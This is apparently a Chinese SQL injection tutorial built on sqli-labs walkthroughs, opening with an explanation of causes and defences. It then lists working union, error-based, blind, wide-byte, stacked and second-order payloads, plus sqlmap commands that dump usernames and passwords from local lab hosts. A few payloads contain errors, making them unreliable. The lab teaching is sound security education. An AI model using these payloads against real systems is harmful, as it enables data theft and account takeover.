一、SQL概述
结构化查询语言(Structured Query Language)简称SQL,一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。
结构化查询语言是高级的非过程化编程语言,允许用户在高层数据结构上工作。它不要求用户指定对数据的存放方法,也不需要用户了解具体的数据存放方式,所以具有完全不同底层结构的不同数据库系统, 可以使用相同的结构化查询语言作为数据输入与管理的接口。结构化查询语言语句可以嵌套,这使它具有极大的灵活性和强大的功能。
漏洞原理
- 造成SQL注入漏洞的原因在于程序员编写程序时,没有对客户端提交的数据进行严格的过滤和判断,导致用户可以修改构造参数,提交SQL语句并传递到服务器端,从而获取想要的敏感信息,甚至进行执行危险的代码或者系统命令。
- SQL注入原理:服务器端没有严格校验客户端发送的数据,从而导致服务器端的SQL语句被恶意修改并且成功执行的行为。
- SQL注入成功的核心:1.用户可以控制参数,2.拼接到后端代码中的语句成功执行。
可能出现的位置点
只要与数据库产生交互的地方,都有可能存在SQL注入!
- URL传参
- HTTP的请求头
- 新闻/商品等可以进行查询的地方
- 登录框/注册框/找回密码/修改密码等表单处
- 搜索框
- ......
防护措施
输入验证
- 对所有用户输入进行验证 :包括 URL 参数、表单数据、HTTP 头等,确保输入符合预期的数据类型、格式和长度。
- 过滤特殊字符 :在应用程序层面,禁止或转义用户输入中的特殊字符,如分号
;
、单引号'
、双引号"
、反引号等,以防止攻击者构造恶意 SQL 语句。例如,可以使用 PHP 中的
mysql_real_escape_string()` 函数对字符串进行转义处理。
使用参数化查询
- 采用预编译语句 :利用参数化查询(如 Java 的
PreparedStatement
、Python 的paramstyle
等),将 SQL 语句和数据分离,预先定义 SQL 语句结构,然后为每个用户输入分配占位符(如?
或:name
),在执行时将实际数据作为参数传入。这可以有效防止 SQL 注入,因为数据库驱动程序会处理占位符的值,而不受恶意构造的输入影响。例如,以下是一个使用 PHP 的 PDO 预处理语句的示例:
php复制
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->execute([$username, $password]);
$user = $stmt->fetch();
- 避免拼接 SQL 语句 :不要将用户输入直接拼接到 SQL 查询字符串中,以免攻击者通过注入恶意代码篡改 SQL 逻辑。
权限控制
- 限制数据库账户权限 :为 Web 应用创建专门的数据库账户,并遵循最小权限原则,仅授予其访问和操作必要数据表的权限。例如,如果应用程序仅需要读取数据,就不应授予写入权限。
- 避免使用特权账户 :不要使用数据库管理员账户(如
sa
或root
)连接应用程序,因为一旦攻击者通过 SQL 注入获取控制权,将能够对整个数据库进行无限制的操作。
数据库设计安全
- 严格限定数据库对象权限 :为每个表、视图、存储过程等数据库对象设置合理的权限,避免过度授权。
- 对敏感数据加密存储 :对于密码、密钥、信用卡号等敏感信息,应采用加密或哈希算法(如
bcrypt
、SHA-256
等)进行存储。 - 注意表和字段命名约定 :避免使用过于明显的表名和字段名,可适当添加前缀或后缀,增加攻击者猜测表结构的难度。
启用 Web 应用防火墙(WAF)
- 配置 SQL 注入规则 :WAF 可以拦截包含常见 SQL 注入特征(如
UNION SELECT
、DROP TABLE
等)的请求。例如,ModSecurity 是一个流行的开源 WAF,可以使用其规则集来检测和阻止 SQL 注入攻击。
更新和维护软件
- 及时打补丁 :定期更新数据库管理系统、Web 服务器、应用程序框架和所有相关软件,以修复已知的安全漏洞。
- 使用安全的数据库版本和配置项 :选择安全的数据库版本,并按照最佳实践配置数据库,如关闭不必要的功能和服务。
安全审计和监控
- 记录日志 :在数据库和应用程序层面记录详细的访问日志和操作日志,包括用户活动、参数值、错误信息等,以便在发生安全事件时进行溯源和分析。例如,可以记录所有对数据库的查询、修改操作,以及登录尝试。
- 监控异常流量和行为 :实时监控 Web 应用程序和数据库的流量、响应时间、错误率等指标,以及对数据库的异常访问模式(如短时间内大量重复的查询),及时发现潜在的注入攻击。
- 定期进行安全审计和渗透测试 :由专业的安全团队或使用自动化工具定期对应用程序和数据库进行安全审计和渗透测试,查找潜在的 SQL 注入漏洞和其他安全问题。
注入类型
按照数据类型分类:数字型、字符型。
按照HTTP请求方法分类:GET型注入、POST型注入。
按照注入方式分类:
- 联合注入(union注入)
- 报错注入
- 盲注(时间型盲注与布尔型盲注)
- 堆叠注入
- 宽字节注入
- 二次注入
- cookie注入
- 编码注入
- XFF注入(X-Forwarded-For)
- DNS外带注入
- ......
二、SQL注入【联合注入-数字型】
概述
注入的本质
- 用户输入的数据被当做代码执行。
注入条件
- 用户可以控制传参;
- 用户输入的语句被带入数据库并执行。
显错注入原理
- 用户输入的数据被当做SQL语句执行,并带入数据库执行。
- 对用户输入的数据没有做任何过滤,并且将结果返回到页面。
显错注入所用函数
order by -->对字段进行排序
group_concat() -->将字符连接起来,输出字符串集合,逗号分开
limit start end 限制select的输出数量
database() -->当前所用数据库名
version() -->数据库版本号
user() -->用户名
靶场Less-2
1、进入靶场
2 、将id=1处1改为2
3、轻松得知:该页面是通过id进行传参,通过改变id的值页面返回不同的内容
4、分别使用and 1=1 和and 1=2 进行探测
5、观察页面发生了变化,使用order by 判断字段数 [一般通过二分法判断]
6、得知字段数为3,使用联合查询
UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。
多个 SELECT 语句会删除重复的数据
0 union select 1,2,3
观察回显点
7、回显点2,3,使用version()和database() 获得版本号和当前数据库的名称
8、得知MySQL版本号为5.0以上版本,所以可以使用MySQL自带数据库information_schema中的table和column表爆出数据
9、使用group_concat 爆出当前数据库下的所有表名
10、查询users表下的所有字段
11、查看user和password字段信息
第一种方法:使用limit 依次得出信息
第二种:使用group_concat()得出信息
后端代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
接收id变量的传参,将id的传参值带入数据库进行查询。
三、SQL注入【联合注入-字符型】
概述
注入的本质
用户输入的数据被当做代码执行。
注入条件
- 用户可以控制传参;
- 用户输入的语句被带入数据库并执行。
显错注入原理
- 用户输入的数据被当做SQL语句执行,并带入数据库执行。
- 对用户输入的数据没有做任何过滤,并且将结果返回到页面。
- 没有做任何防护
注入的关键操作
- 构造闭合。
注入基础
MySQL注释符:# 或 --空格 或 /**/
内联注释:/*! SQL语句 */ 只有MySQL可以识别,常用来绕过WAF
注入探测符:常使用 \ 进行探测
靶场Less-1
1、靶场
2、根据前面的数学型注入,可先使用and 1=2 探测
页面无反应
3、使用探测符号\
4、根据报错信息
''1\' LIMIT 0,1' ==> '1\' LIMIT 0,1 (反斜杠通常为转义符)==>可猜测变量id由单引号字符围绕
构造payload: id=1' -- q (--空格 为MySQL的注释符)
5、查看后端源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
添加构造的payload后:
$sql="SELECT * FROM users WHERE id='1'-- q' LIMIT 0,1";
6、将payload写入到靶场中,页面正常
7、使用oder by 探测字段数
8、探测字段数为3,使用联合查询,观察回显点
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,3 -- q
9、探测版本号和当前数据库名
10、利用MySQL自带数据库information_schema得出数据
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(table_name)
from information_schema.tables where table_schema=database() -- q
11、查看users数据表中的字段名
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(column_name)
from information_schema.columns where table_schema=database() and table_name='users' -- q
12、查询username、password字段信息,使用limit 依次查看
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,username,password from users limit 3,1 -- q
总结
字符型注入与数字型注入的区别为 有无包裹变量的符号不同
以下几种包裹方式注入,与‘$id’ 注入同理
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=“$id” LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";
注入的关键在于 构造闭合
四、SQL注入【报错型注入】
利用场景
当页面没有正确的返回错误信息时,就可以利用报错注入
原理
利用数据库中的个别函数进行报错使用
常见函数
- updatexml()
- extractvalue()
extractvalue()
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
extractvalue(456,concat(0x7e,version(),0x7e))
updatexml()
updatexml():更新XML文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码
其他所用函数
- concat() ==>将多个字符串连接成一个字符串
靶场Less-5
1、进入靶场
2、使用反斜杠\进行探测,报出错误信息
3、分析报错
''1\' LIMIT 0,1' ==>'1\' LIMIT 0,1 ==>猜测变量由单引号包裹
故构造payload 1' -- q
4、写入payload,页面正常
5、得到字段数3,观察到页面没有回显点,但是有报错信息
6、可利用updatexml()函数
构造payload:updatexml(1,concat(0x7e,version(),0x7e),1)
注意MySQL支持16进制编码
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)-- q
得出版本号 5.0以上
7、利用MySQL自带数据库information_schema
http://127.0.0.1/sqli/Less-5/?id=1' and
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where
table_schema=database() limit 0,1),0x7e),1) -- q
8、查看users表中的字段名
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,
concat(0x7e,(select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1),0x7e),1) -- q
得出users表中有三个字段名:id、username、password
9、分别得出username和password 字段数据
第一个username字段数据Dumb
第一个password字段数据:Dumb
五、SQL注入【布尔盲注】
利用场景
- 在有些情况下,后台使用了错误信息屏蔽方法(比如@),屏蔽了报错,
- 无法在根据报错信息来进行注入的判断,该情况称为"盲注"
表现形式
- based boolean (布尔盲注)
- based time(时间盲注)
布尔盲注
- 传入“”错误“”参数和“正确”参数,观察页面是否发生了变化。
所用函数
-
length() 获取字符串的长度
-
substr() 截取字符串
语法:substr(string,num start,num length)
string 字符串;start 起始位置(从1开始);截取长度
-
ascii() 把字符转换为ascii码值
靶场Less-8
1、进入靶场,只显示了you are in..
2、将1改为0,观察页面是否发生了变化
you are in... 这三个单词不见了
页面发生变化
3、貌似是布尔盲注,通过探测得知为字符型布尔盲注
4、使用substr() 探测数据库版本号
本地操作:
靶场:
http://127.0.0.1/sqli/Less-8/?id=1' and substr(version(),1,1) = 5-- q
5、版本号5.0以上,使用length() 探测数据库名的长度
6、得知数据库名长度为8,可进行猜单词,会不会是security,8个字母
使用 substr()、ascii()验证猜想
得知s字母的在ASCII码表中的数字是115
故可以构造poc
ascii(substr(database(),0,1))=115
可以验证当前数据库名的第一个单词是s,猜想正确
验证第二个
第二个单词为e,猜想正确
接下来进行一一猜解
7、知道了数据库名后,又知道版本号为5.0以上版本,故可利用information_schema数据库进行爆出相关数据
利用方法与上一步同理
8、由于一个单词一个单词猜解,过于费时费力,所以可以使用自动化工具SQLMap
SQLMap跑布尔盲注
基本操作
可以使用 --technique 指定SQLMap探测技术
支持的探测方式有:
- B: 基于Boolean的盲注(Boolean based blind)
- Q: 内联查询(inlin queries)
- T:基于时间的盲注(time based blind)
- U: 联合查询(union query based)
- E: 错误(errorbased)
1、由于已经知道存在 布尔盲注
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B --current-db
得出当前数据库名security
2、跑security数据库下的表面
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security
--tables
3、跑出 users表下的字段名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users --columns
4、跑出id、username、password的数据
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users
-C id,username,password --dump
六、SQL注入【时间盲注】
时间盲注也称为延时注入。
利用场景
如果说基于Boolean的盲注在页面上可以看到0 or 1 的回显,那么时间盲注完全啥都看不到
但可以通过特定的输入,判断后台的执行时间,从而确定注入
所用函数
-
sleep() 让程序挂起,单位秒
-
if(condition,value_if_true,value_if_false)
语法:当condition为真时,返回value_if_true,否则返回value_if_false
-
length() 获取字符串的长度
-
substr() 截取字符串
语法:substr(string,num start,num length)
string 字符串;start 起始位置(从1开始);截取长度
-
ascii() 把字符转换为ascii码值
靶场Less-9
1、进入靶场
2、输出错误参数,页面无变化
3、加上 and sleep()函数 尝试让页面休眠10秒
页面貌似延迟为2s
没有执行sleep()函数,猜想会不会是字符串型,换为' and sleep(10) -- q
执行成功,判断存在时间盲注
4、探测if语句是否可以使用
http://127.0.0.1/sqli/Less-9/?id=1' and if(1=2,sleep(20),null) -- q
http://127.0.0.1/sqli/Less-9/?id=1' and if(1=1,sleep(20),null) -- q
5、if语句可以使用,进行判断版本号
http://127.0.0.1/sqli/Less-9/?id=1' and if( length(substr(select version(),1,1))=5,null,sleep(5)) -- q
版本号为5.0版本以上
6、判断当前数据库名
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) >120,null,sleep(5)) -- q
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) <120,null,sleep(5)) -- q
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) =115,null,sleep(5)) -- q
按照以上步骤,依次猜解
最终得到当前数据库名为security
7、其他信息与上述步骤同理,一个一个猜解
8、由于太过于费事费力,可以使用自动化工具SQLMap
SQLMap跑时间盲注
使用 --technique 指定SQLMap探测技术
支持的探测方式有:
- B: 基于Boolean的盲注(Boolean based blind)
- Q: 内联查询(inlin queries)
- T:基于时间的盲注(time based blind)
- U: 联合查询(union query based)
- E: 错误(errorbased)
-time-sec参数设定延时时间,默认是5秒。
1、得出当前数据库名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 --current-db
2、得出security数据库下的表面
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security --tables
3、跑 users表下面的字段
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users
--columns
4、跑出跑出users表中跑出id、username、password字段数据
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users
-C id,username,password --dump
七、SQL注入【宽字节注入】
原理
GBK编码是占用两个字节,ASCII编码是占用一个字节。
在PHP中的编码方式为GBK,在函数执行添加的是ASCII编码,在mysql中国默认字符集是GBK等宽字节字符集(GBK属于宽字符集中的一种),
而mysql中使用的默认的GBK编码方式是导致宽字节注入的根源。
- GBK 编码 两个字节表示一个字符
- ASCII 编码 一个字节表示一个字符
- MYSQL默认字节集是GBK等宽字节字符集
addslashes()函数
addslashes ( string `$str` ) : string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(`'`)、双引号(`"`)、反斜线(`\`)与 NUL(**`null`** 字符)。
只要注入' " \ 空字符 都会转义为 \' \" \\ \
魔术单引号同理【PHP5.4及其以上魔术引号是被删除了】
利用场景
如果网站使用了 addslashes()函数函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入
%DF':
- 会被PHP当中的addslashes函数转义为:%DF\'
- \ 会被URL编码为 %5C
- 那么 %DF' 会被转义为 %DF%5C%27
- %DF%5C%27是一个宽字节 也就是一个縗'
从而可以进行构造闭合,进行注入
小技巧:有的时候我们也可以用16进制来代替字符串
URL编码
- %27---------单引号
- %20----------空格
- %23-----------#号
- %5c------------\反斜杠
靶场Less-33
1、访问网站
2、当在id后面加上反斜杠时
反斜杠被进行了转义
3、输入单引号时
同样被进行了转义
4、输入%DF'时
网页进行了报错
5、加上注释符之后成功闭合
6、探测字段数
http://192.168.168.129/sqli/Less-33/?id=2%df' order by 4-- qwe
http://192.168.168.129/sqli/Less-33/?id=2%df' order by 3-- qwe
7、探测显示位
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,2,3-- qwe
8、当前数据库和版本号
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),version()-- qwe
9、爆表
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
10、爆字段数
爆emails表的字段,由于单引号不能用,这里可以使用子查询或者将emails转为16进制的方法。
emails对应的16进制为0x656d61696c73
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 -- qwe
11、出数据
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,group_concat(id),group_concat(email_id) from emails -- qwe
SQLMap跑宽字节注入
在已知存在宽字节注入的情况下,可使用sqlmap的参数:
--tamper unmagicquotes.py
八、SQL注入【堆叠注入】
原理
在SQL数据库中,每条语句是以 ;
分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。
局限性
- 多语句执行受数据库类型、API、数据引擎的限制,有的不能实现;
- 增删改也收到用户权限的限制。
靶场Less-38
1、单引号构造闭合
http://192.168.168.129/sqli/Less-38/?id=1' -- qwe
2、新建一张数据表
http://192.168.168.129/sqli/Less-38/?id=1'; select * from users;create table user like users; -- qwe
3、新建用户
http://192.168.168.129/sqli/Less-38/?id=1'; insert into users values(20,'mark','mark');-- qwe
九、SQL注入【二次注入】
原理
二次注入是指已存储(数据库、文件)的数据输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是通过与数据库服务器进行交互的过程再次进行注入。
利用条件
- 用户输入恶意语句。
- 数据库把用户输入的数据没有做任何更改,直接进行了存储。
- 再用户取出数据的过程中,数据库将用户输入的数据完整且没有做任何修饰的展示给用户。
靶场Less-24
1、一个登录界面,可进行更改密码、注册用户
2、查看数据库中原有的数据
3、目的:改掉admin用户的密码
4、注册用户
注册用户名为admin' -- q
密码为123456
5、注册成功
6、查看数据库有无增加用户
7、使用用户名admin' -- q 登录
8、观察admin用户的密码为admin
9、更改admin' -- q用户的密码为654321
10、再次查看数据库
观察到新注册的用户admin' -- q 密码没改变,admin用户的密码却更改为654321
11、使用admin用户登录
登录成功
能够更改admin密码原理
1、更改密码处的后端代码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "
2、当我们使用admin' -- q用户名 更改密码时 代码变为
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin' -- q' and password='$curr_pass' "
username='admin' -- q'==>此处admin'构成闭合,用户名变为amdin用户,-- q则注释了后面的单引号。
故可以使用 用户名admin' -- q 密码123456 登录,然后更改用户名admin的密码
得知第一个单词为s